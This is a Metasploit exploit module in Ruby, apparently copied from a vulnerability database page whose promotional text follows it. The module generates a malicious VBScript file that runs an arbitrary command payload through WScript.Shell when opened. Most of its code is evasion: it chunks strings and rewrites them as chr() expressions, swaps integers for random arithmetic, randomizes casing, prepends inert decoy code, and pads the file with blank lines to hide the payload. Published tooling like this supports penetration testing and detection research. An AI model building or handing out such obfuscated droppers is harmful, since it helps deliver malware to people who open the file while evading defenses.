##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Malicious Windows Script Host VBScript (.vbs) File',
'Description' => %q{
This module creates a Windows Script Host (WSH) VBScript (.vbs) file.
},
'License' => MSF_LICENSE,
'Author' => [
'bcoles'
],
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
],
'Arch' => [ARCH_CMD],
'Platform' => 'win',
'Payload' => {
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
'BadChars' => "\x00",
'DisableNops' => true
},
'Targets' => [
[
'Microsoft Windows 98 or newer', {}
],
],
'Privileged' => false,
'DisclosureDate' => '1998-06-25', # Windows 98 release date
'DefaultTarget' => 0,
'DefaultOptions' => {
'DisablePayloadHandler' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [SCREEN_EFFECTS]
}
)
)
register_options([
OptString.new('FILENAME', [true, 'The VBScript file name.', 'msf.vbs']),
OptBool.new('OBFUSCATE', [false, 'Enable VBScript obfuscation', true])
])
register_advanced_options([
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious VBScript.', 100]),
])
end
# Returns a random math expression evaluating to input int
#
# @param [Integer] int input integer
#
# @return [String] math expression evaluating to input int
def generate_number_expression(int)
case rand(4)
when 0 # Sum
a = rand(0..int)
b = int - a
"(#{a}+#{b})"
when 1 # Difference
r1 = int + rand(1..10)
r2 = r1 - int
"(#{r1}-#{r2})"
when 2 # Product (only if divisible)
divisors = (1..int).select { |d| (int % d).zero? }
if divisors.size > 1
d = divisors.sample
"(#{d}*#{int / d})"
else
"(#{int}+0)"
end
when 3 # Quotient
r2 = rand(1..10)
r1 = int * r2
"(#{r1}/#{r2})"
end
end
# Return VBScript code with all strings split into chunks and concatenated
#
# @param [String] vbscript VBScript code
#
# @return [String] VBScript code with chunked strings
def chunk_vbscript_strings(vbscript)
vbscript.gsub(/"([^"]+)"/) do
original = Regexp.last_match(1)
chunks = []
i = 0
while i < original.length
chunk_size = rand(1..5)
chunks << "\"#{original[i, chunk_size]}\""
i += chunk_size
end
chunks.join(' & ')
end
end
# Build a series of benign VBScript noise blocks
#
# @param [Integer] block_count Number of blocks to generate
#
# @return [String] block_count blocks of inert VBScript
def generate_vbscript_noise(block_count = 0)
lines = []
block_count.times do
case rand(4)
when 0 # Dummy variable declarations and assignments
v1 = rand_text_alpha(6..16)
v2 = rand_text_alpha(6..16)
a = rand(0..100)
b = rand(0..100)
lines << "Dim #{v1}, #{v2}"
lines << "#{v1} = #{a}"
lines << "#{v2} = #{b}"
when 1 # Dummy Function
fname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Function #{fname}(#{arg})"
lines << " #{fname} = #{arg} * #{mult}"
lines << 'End Function'
when 2 # Dummy Sub
sname = rand_text_alpha(6..16)
arg = rand_text_alpha(6..16)
mult = rand(1..5)
lines << "Sub #{sname}(#{arg})"
lines << " #{sname} = #{arg} * #{mult}"
lines << 'End Sub'
when 3 # Dummy For loop
idx = rand_text_alpha(6..16)
max = rand(1..5)
lines << "Dim #{idx}"
lines << "For #{idx} = 1 To #{max}"
lines << " #{idx} = #{idx} + 0"
lines << 'Next'
end
end
lines.join("\r\n")
end
# Obfuscate string literals and integer literals
#
# @param [String] vbscript VBScript code to be obfuscated
#
# @return [String] Obfuscated VBScript
def obfuscate_vbscript(vbscript)
obfuscated = vbscript.dup
# Obfuscate strings
obfuscated = chunk_vbscript_strings(obfuscated)
obfuscated.gsub!(/"((?:[^"]|"")*)"/) do
raw = ::Regexp.last_match(1).gsub('""', '"')
raw.chars.map { |c| "chr(#{generate_number_expression(c.ord)})" }.join(' & ')
end
# Obfuscate integers
obfuscated.gsub!(/\b\d+\b/) do |num|
generate_number_expression(num.to_i)
end
obfuscated
end
def generate_vbscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
vbs = ''
vbs << generate_vbscript_noise(rand(8..10)) if prepend_benign_code
vbs << "\r\n" * prepend_new_lines
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
# If the payload contains " & " we presume it is a command string.
#
# TODO: Change this once Metasploit is able to inform a module that
# the specified ARCH_CMD payload is a string of commands
# (not a single command).
if escaped_payload.include?(' & ')
cmd = "cmd.exe /c #{escaped_payload}"
else
cmd = escaped_payload
end
shell_obj = 'WScript.Shell'.chars.map { |c| (rand(2) == 0 ? c.downcase : c.upcase) }.join
vbs_payload = "CreateObject(\"#{shell_obj}\").Run(\"#{cmd}\")"
if obfuscate
vbs << obfuscate_vbscript(vbs_payload)
else
vbs << vbs_payload
end
vbs
end
def exploit
vbs = generate_vbscript(
payload.encoded,
prepend_benign_code: datastore['PrependBenignCode'],
prepend_new_lines: datastore['PrependNewLines'],
obfuscate: datastore['OBFUSCATE']
)
file_create(vbs)
end
endData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation